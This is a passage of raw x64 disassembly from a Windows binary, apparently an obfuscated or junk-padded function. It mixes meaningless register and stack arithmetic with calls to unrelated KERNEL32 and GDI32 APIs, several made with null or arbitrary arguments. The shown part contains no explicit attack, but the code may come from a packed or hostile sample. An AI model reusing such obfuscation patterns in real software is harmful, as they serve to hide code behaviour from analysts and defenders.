sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6424], eax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce70]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
movzx eax, byte [0x1401a503a]
movzx ecx, byte [rsp + 0x416]
add eax, ecx
mov byte [0x1401a5039], al
movzx eax, word [rsp + 0x1eac]
movzx ecx, word [rsp + 0x1d90]
add eax, ecx
mov word [rsp + 0x1ed4], ax
movsx eax, word [rsp + 0x1ea4]
mov rcx, qword [rsp + 0xd030]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x322], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ecc], ax
mov rax, qword [rsp + 0xcd58]
movzx ecx, al
mov rax, qword [rsp + 0xd000]
shl rax, cl
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xcf88]
mov rcx, qword [rsp + 0xce78]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5a18], eax
mov eax, dword [rsp + 0x6360]
mov rcx, qword [rsp + 0xd090]
mov qword [rsp + 0xd0c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0c8]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x54ac], eax
jmp 0x140019161
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x62e0], eax
mov rax, qword [rsp + 0xcf78]
mov rcx, qword [rsp + 0xcf10]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcf08], rax
mov r9d, 2
lea r8, [rsp + 0xcdb0]
mov rdx, qword [rsp + 0xcf80]
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x6454], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [0x1401a5038]
sub eax, ecx
mov byte [0x1401b440a], al
movzx eax, word [rsp + 0x1b38]
movzx ecx, word [rsp + 0x1eac]
sub eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
movsx eax, word [rsp + 0x1e84]
mov rcx, qword [rsp + 0xd030]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
lea rdx, [rsp + 0x6330]
mov rcx, qword [rsp + 0xd040]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x6410], eax
movsx eax, byte [0x1401b440b]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2cd], al
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x6334], eax
mov rax, qword [rsp + 0xcd38]
mov rcx, qword [rsp + 0xcfb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfa8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb2f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcff0], rax
mov rax, qword [rsp + 0xcd98]
mov rcx, qword [rsp + 0xcfc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x62ec], eax
mov rax, qword [rsp + 0xcf88]
mov ecx, dword [0x1401a5390]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63f0], eax
mov dword [rsp + 0x1dc40], 0x114
movzx eax, word [rsp + 0x1ecc]
movzx ecx, word [rsp + 0xe6c]
xor eax, ecx
mov word [rsp + 0x1ed4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sar eax, cl
mov byte [0x1401b43f8], al
movsx eax, word [0x1401a53bc]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1ec4], ax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfb8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcfb8]
mov rcx, qword [rsp + 0xaff8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcf40]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea8], ax
mov rax, qword [rsp + 0xcf98]
mov rcx, qword [rsp + 0xcea8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcf88]
mov dword [rcx], eax
lea rcx, [rsp + 0x1bc68]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov rax, qword [rsp + 0xd090]
mov ecx, dword [rsp + 0x62c8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x63a8], eax
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaf28]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
movzx ecx, word [rsp + 0x1ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1eb8], ax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf9c], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401b440a], al
mov eax, dword [rsp + 0x63b8]
sub eax, 0x80
mov dword [rsp + 0x63b8], eax
lea rcx, [rsp + 0x1bc68]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rax, qword [0x1401a53a8]
mov rcx, qword [rsp + 0xb780]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xcfe0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
add eax, ecx
mov byte [rsp + 0x41b], al
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcd48]
mov word [rcx], ax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1eac]
sar eax, cl
mov word [rsp + 0x1ed4], ax
mov rax, qword [rsp + 0xd090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xd0d0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0d0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x6444], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf6b8
mov rcx, qword [rsp + 0xcd20]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x6330], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xb2f8]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xcd30], rax
mov rax, qword [rsp + 0xce78]
mov rcx, qword [rsp + 0xcf98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x5a18], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x322], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x6414], eax
movzx eax, word [rsp + 0x1ed4]
movzx ecx, word [rsp + 0x1534]
sub eax, ecx
mov word [0x1401b4408], ax
movsx eax, word [rsp + 0x1eb0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [0x1401b43f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x417]
add eax, ecx
mov byte [rsp + 0x322], al
mov rax, qword [rsp + 0xcfb8]
mov rcx, qword [rsp + 0xb780]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xcfa8], rax
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xb780]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf08], rax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x62e4], eax
cmp dword [rsp + 0x63b8], 0xc7f1
ja 0x1400194be
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6374]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xcea8]
mov dword [rcx], eax
movzx eax, word [rsp + 0xf9c]
mov dword [rsp + 0x6458], eax
cmp dword [rsp + 0x6458], 0xbfc
je 0x1400199ea
jmp 0x140019a15
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xcd30]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xcd70]
mov qword [rcx], rax
call fcn.140187a00
jmp 0x140019afd
mov rax, qword [rsp + 0xcfc0]
mov ecx, dword [rsp + 0x63a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5eac], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.yafVroLlvRdBH8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xd0d8], rax
movsx eax, word [rsp + 0x1ec4]
movsx ecx, word [rsp + 0x1eb0]
sub eax, ecx
mov rcx, qword [rsp + 0xcf40]
mov word [rcx], ax
lea rax, [0x1401a53a4]
mov qword [0x1401b43e8], rax
mov rax, qword [rsp + 0xce28]
movzx eax, byte [rax]
mov byte [rsp + 0x41c], al
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x417], al
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce20]
mov qword [rsp + 0xd0e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0e0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xce20]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1e94]
mov word [rsp + 0x1ed8], ax
mov rax, qword [rsp + 0xcf88]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x640c]
sar eax, cl
mov rcx, qword [rsp + 0xcf98]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x51dc]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
je 0x140019cdf
mov edx, 0x34
mov rcx, qword [rsp + 0xd078]
call qword [sym.imp.GDI32.dll_SetBkColor]
mov dword [rsp + 0x63b4], eax
mov rax, qword [rsp + 0xcfc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63c0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x63a8], eax
mov rax, qword [rsp + 0xcf88]
mov ecx, dword [0x1401a53b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6450], eax
mov rax, qword [rsp + 0xcd60]
mov rcx, qword [rsp + 0xd000]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xce70], rax
mov edx, 0xad
mov rcx, qword [rsp + 0xd0e8]
call qword [sym.imp.GDI32.dll_SetTextCharacterExtra]
mov dword [rsp + 0x51b8], eax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1b38]
sub eax, ecx
mov word [rsp + 0x1eac], ax
movzx eax, byte [rsp + 0x413]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a503a], al
mov rax, qword [rsp + 0xd060]
mov rcx, qword [rsp + 0xcfa8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcfb8], rax
mov rax, qword [rsp + 0xd030]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed8]
sub eax, ecx
mov word [rsp + 0x1ec4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x413], al
movzx eax, word [rsp + 0xf9c]
movzx ecx, word [rsp + 0x1eac]
add eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0xd000]
mov rcx, qword [rsp + 0xceb8]
mov qword [rsp + 0xd0f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd0f0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0xceb8]
mov qword [rcx], rax
mov edx, 0x11
mov rcx, qword [rsp + 0xd0f8]
call qword [sym.imp.GDI32.dll_ResizePalette]
mov dword [rsp + 0x6274], eax
mov rax, qword [rsp + 0xd090]
mov r8d, dword [rax]
mov rax, qword [rsp + 0xce10]
movzx edx, word [rax]
mov ecx, dword [rsp + 0x62ec]
call fcn.1401878f0
mov rax, qword [rsp + 0xcf98]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcf88]
mov qword [rsp + 0xd100], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd100]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x62d8], eax
mov dword [rsp + 0x20], 0x1963
mov r9d, 0x1be7
mov r8d, 0x2e6c
mov edx, 0xc13
mov rcx, qword [rsp + 0xd040]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x636c], eax
mov eax, dword [rsp + 0x63a0]
mov ecx, dword [rsp + 0x62ec]
or ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x63c0]
mov edx, dword [0x1401a5394]
xor edx, ecx
mov ecx, edx
cmp eax, ecx
jbe 0x140019e77
mov eax, dword [rsp + 0x62c8]
mov ecx, dword [rsp + 0x54ac]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5eac], eax
movsx eax, byte [rsp + 0x41b]
movsx ecx, byte [0x1401b440b]
sub eax, ecx
mov byte [rsp + 0x414], al
movzx eax, word [rsp + 0x1534]
movzx ecx, word [rsp + 0x1ecc]
add eax, ecx
mov word [rsp + 0xf9c], ax
lea rdx, [rsp + 0xce90]
mov rcx, qword [rsp + 0xd108]
call qword [sym.imp.GDI32.dll_RectInRegion]
mov dword [rsp + 0x6354], eax
movsx eax, word [rsp + 0x1ec8]
movsx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov word [0x1401b440c], ax
movzx eax, byte [rsp + 0x322]
movzx ecx, byte [rsp + 0x415]
sub eax, ecx
mov byte [rsp + 0x416], al
mov rax, qword [rsp + 0xcf78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcfa8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xce20]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaff8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcd40]
mov qword [rcx], rax
lea r9, [rsp + 0xce28]
mov r8d, 0xc1
mov rdx, qword [rsp + 0xcef8]
mov rcx, qword [rsp + 0xd078]
call qword [sym.imp.GDI32.dll_GetTextExtentPointW]
mov dword [rsp + 0x6274], eax
jmp 0x140019faf
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov dword [rsp + 0x645c], eax
cmp dword [rsp + 0x645c], 0xd19
je 0x140019e9b
jmp 0x140019f5d
mov rax, qword [rsp + 0xce78]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a18]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x51b8], eax
mov rax, qword [rsp + 0xce70]
mov rcx, qword [rsp + 0xaf28]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xd090]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xcd98]
mov qword [rsp + 0xd110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xd110]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x6424], eax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
movzx ecx, word [0x1401a53a4]
xor eax, ecx
mov word [rsp + 0xe6c], ax
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb4]
shl eax, cl
mov word [rsp + 0x1ec8], ax
mov rdx, qword [rsp + 0xcef0]
mov rcx, qword [rsp + 0xd118]
call qword [sym.imp.GDI32.dll_GetClipRgn]
mov dword [rsp + 0x51b8], eax
jmp 0x140019faf
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x63a4], eax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x418]
sub eax, ecx
mov byte [0x1401a503b], al
mov rax, qword [rsp + 0xd060]
mov rax, qword [rax]
mov rcx, qword [0x1401a53a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xc6d8], rax
movzx eax, byte [rsp + 0x41a]
movzx ecx, byte [rsp + 0x1ce]
and eax, ecx
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x413]
sub ecx, edx
cmp eax, ecx
jle 0x14001a047
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rax]
call fcn.1401879a0
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xcf78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0xcf40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1eb4]
add eax, ecx
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xcf88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xce78]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd98]
mov rcx, qword [rsp + 0xd090]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x62ec], eax
mov eax, dword [rsp + 0x6360]
mov dword [rsp + 0x6460], eax
cmp dword [rsp + 0x6460], 0x85ad
je 0x14001a095
cmp dword [rsp + 0x6460], 0xa847
je 0x14001a133
jmp 0x14001a1c1
movsx eax, byte [rsp + 0x414]
mov rcx, qword [rsp + 0xce28]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x419], al
mov rax, qword [rsp + 0xce28]
movzx edx, byte [rax]
mov rax, qword [rsp + 0xce28]
movzx ecx, byte [rax]
call fcn.1401878c0
lea r8, [rsp + 0x6428]
movss xmm1, dword [0x140198dac]
mov rcx, qword [rsp + 0xd120]
call qword [sym.imp.GDI32.dll_SetMiterLimit]
mov dword [rsp + 0x6354], eax
mov rax, qword [rsp + 0xceb8]
mov rcx, qword [rsp + 0xcd60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf28], rax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1ce]
sub eax, ecx
mov byte [rsp + 0x41a], al
jmp 0x14001a1c1
movzx eax, byte [rsp + 0x1ce]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401a503b], al
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe6c]
xor eax, ecx
mov word [rsp + 0x1eac], ax
movzx eax, word [rsp + 0x1534]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xf9c], ax
lea rax, [rsp + 0xcf88]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xce08]
lea r8, [fcn.140187860]
mov rdx, qword [rsp + 0xd128]
mov rcx, qword [rsp + 0xcf38]
call qword [sym.imp.GDI32.dll_EnumEnhMetaFile]
mov dword [rsp + 0x637c], eax
cmp dword [rsp + 0x63f8], 0xec4c
jbe 0x14001a40e
mov rax, qword [rsp + 0xce30]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ed0]
or eax, ecx
mov rcx, qword [rsp + 0xce30]
mov word [rcx], ax
xor r9d, r9d
lea r8, [rsp + 0xd130]
mov rdx, qword [rsp + 0xd130]
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x63d8], eax
mov rax, qword [rsp + 0xcd98]
mov rcx, qword [rsp + 0xd090]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xcd98]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcd30]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xce70], rax
mov eax, dword [rsp + 0x6374]
mov ecx, dword [rsp + 0x6450]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x63f0], eax
mov rax, qword [rsp + 0xcfe8]
movzx eax, word [rax]
mov rcx, qword [0x1401b4400]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xce10]
mov word [rcx], ax
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xd030]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ed0], ax
movzx ecx, word [rsp + 0x1ebc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1e90], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
mov rcx, qword [0x1401b43f0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401a503b], al
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xd060]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xd060]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcf78]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xcf08], rax
lea rdx, [rsp + 0xd130]
mov rcx, qword [rsp + 0xcf18]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x636c], eax
movsx eax, word [rsp + 0x1ed8]
mov rcx, qword [rsp + 0xd030]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1ea4], ax
mov rcx, qword [rsp + 0xce68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movsx eax, byte [rsp + 0x41b]
movsx ecx, byte [rsp + 0x419]
shl eax, cl
mov byte [rsp + 0x41c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov eax, dword [rsp + 0x63f8]
sub eax, 0x24
mov dword [rsp + 0x63f8], eax
mov rax, qword [rsp + 0xcf98]
mov ecx, dword [rsp + 0x63f0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x62d8], eax
mov rax, qword [rsp + 0xcd98]
mov rcx, qword [rsp + 0xcfc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x63a8], eax
jmp 0x14001a1c1
cmp dword [rsp + 0x6440], 0x10be
jbe 0x14001a5e1
mov rax, qword [rsp + 0xcd60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xce70]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0b8], rax
movzx eax, word [rsp + 0x1d90]
movzx ecx, word [rsp + 0x1ecc]
sub eax, ecx
mov word [0x1401a53a4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x415]
add eax, ecx
mov byte [rsp + 0x322], al
mov rax, qword [rsp + 0xcd48]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xce30]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ea4], ax
mov rax, qword [rsp + 0xce48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x416]
add eax, ecx
mov byte [rsp + 0x41a], al
movzx eax, word [rsp + 0x1d90]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xcdc], ax
mov rax, qword [rsp + 0xcea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x5a18]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6300], eax
mov rax, qword [rsp + 0xcd98]
mov ecx, dword [rsp + 0x63a8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xd090]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [rsp + 0x6440]
sub eax, 0xc3
mov dword [rsp + 0x6440], eax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xceb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xce70], rax
mov rax, qword [rsp + 0xce20]
mov rcx, qword [rsp + 0xcfb8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaff8], rax
mov rcx, qword [rsp + 0xcdc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx eax, byte [rsp + 0x298]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x1401b440a], al
movsx eax, word [rsp + 0x1ea0]
mov rcx, qword [rsp + 0xcd48]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1ec4], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
movzx eax, word [rsp + 0x1b38]
mov rcx, qword [rsp + 0xce10]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1d90], ax
jmp 0x14001a40e
movzx eax, byte [rsp + 0x41c]
mov byte [rsp + 0x41d], al
lea rcx, [rsp + 0x1da00]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x6464], eax
mov rax, qword [rsp + 0xcfb8]
movzx ecx, al
mov rax, qword [rsp + 0xaff8]
shl rax, cl
mov qword [rsp + 0xcf10], rax
mov rax, qword [rsp + 0xcd70]
mov rcx, qword [rsp + 0xcff0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xd000], rax
mov rax, qword [rsp + 0xcea8]
mov rcx, qword [rsp + 0xcf88]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x63f0], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2996
mov r8d, 0x96a
mov edx, 0x99
mov rcx, qword [rsp + 0xcd78]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0x62e8], eax
mov rax, qword [rsp + 0xd090]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x63a8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x54ac], eax
movsx eax, word [rsp + 0x1e94]
movsx ecx, word [rsp + 0x1ec8]
sub eax, ecx
mov word [rsp + 0x1eb0], ax
movzx eax, word [0x1401a53b4]
mov rcx, qword [rsp + 0xcfe8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401b4408], ax
movzx eax, byte [rsp + 0x298]
mov rcx, qword [rsp + 0xce48]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x413], al
lea rcx, [rsp + 0x1da00]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x6334], eax
mov dword [rsp + 0x20], 0xe8d
mov r9d, 0x1367
mov r8d, 0x319c
mov edx, 0x2ba8
mov rcx, qword [rsp + 0xd0d8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x63d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
mov rax, qword [rsp + 0xcd40]
mov rcx, qword [rsp + 0xce20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xcf30], rax
mov rax, qword [rsp + 0xc6d8]
mov rcx, qword [rsp + 0xcf68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xd0b0], rax
mov rax, qword [rsp + 0xce10]
movzx eax, word [rax]
mov rcx, qword [0x1401b4400]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcfe8]
mov word [rcx], ax
mov rcx, qword [rsp + 0xcfd8]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x6468], eax
mov rax, qword [rsp + 0xcf98]
mov ecx, dword [rsp + 0x62d8]
mov eax, dword [rax]
add eax, ecx
